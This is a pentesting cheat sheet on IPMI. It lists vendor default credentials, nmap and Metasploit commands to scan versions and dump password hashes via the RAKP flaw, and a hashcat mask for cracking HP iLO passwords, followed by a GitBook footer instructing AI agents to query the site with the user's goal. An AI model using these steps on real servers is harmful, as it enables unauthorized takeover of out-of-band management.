# Pentesting IPMI

## Overview

* Intelligent Platform Management Interface
* Port: UDP 623
* Used for remote management of servers (out-of-band) independent of OS
* Common implementations: Dell iDRAC, HP iLO, Supermicro IPMI

## Default Credentials

| Product         | Username      | Password                            |
| --------------- | ------------- | ----------------------------------- |
| Dell iDRAC      | root          | calvin                              |
| HP iLO          | Administrator | Random 8-char (numbers + uppercase) |
| Supermicro IPMI | ADMIN         | ADMIN                               |

## Scanning

```
sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local
```

## Metasploit Version Scan

```
use auxiliary/scanner/ipmi/ipmi_version
set rhosts 10.129.42.195
run
```

## Hash Dumping (IPMI 2.0 RAKP Flaw)

* During IPMI 2.0 authentication, the server sends a salted SHA1 or MD5 hash of the user's password before the client authenticates
* This can be retrieved by any attacker with network access

```
use auxiliary/scanner/ipmi/ipmi_dumphashes
set rhosts 10.129.42.195
run
```

## Cracking IPMI Hashes

```
hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
```

* HP iLO uses 8-char passwords with uppercase + digits — hashcat mask `?1?1?1?1?1?1?1?1 -1 ?d?u` works well

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.ice-wzl.xyz/recon-enumeration/pentesting-ipmi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
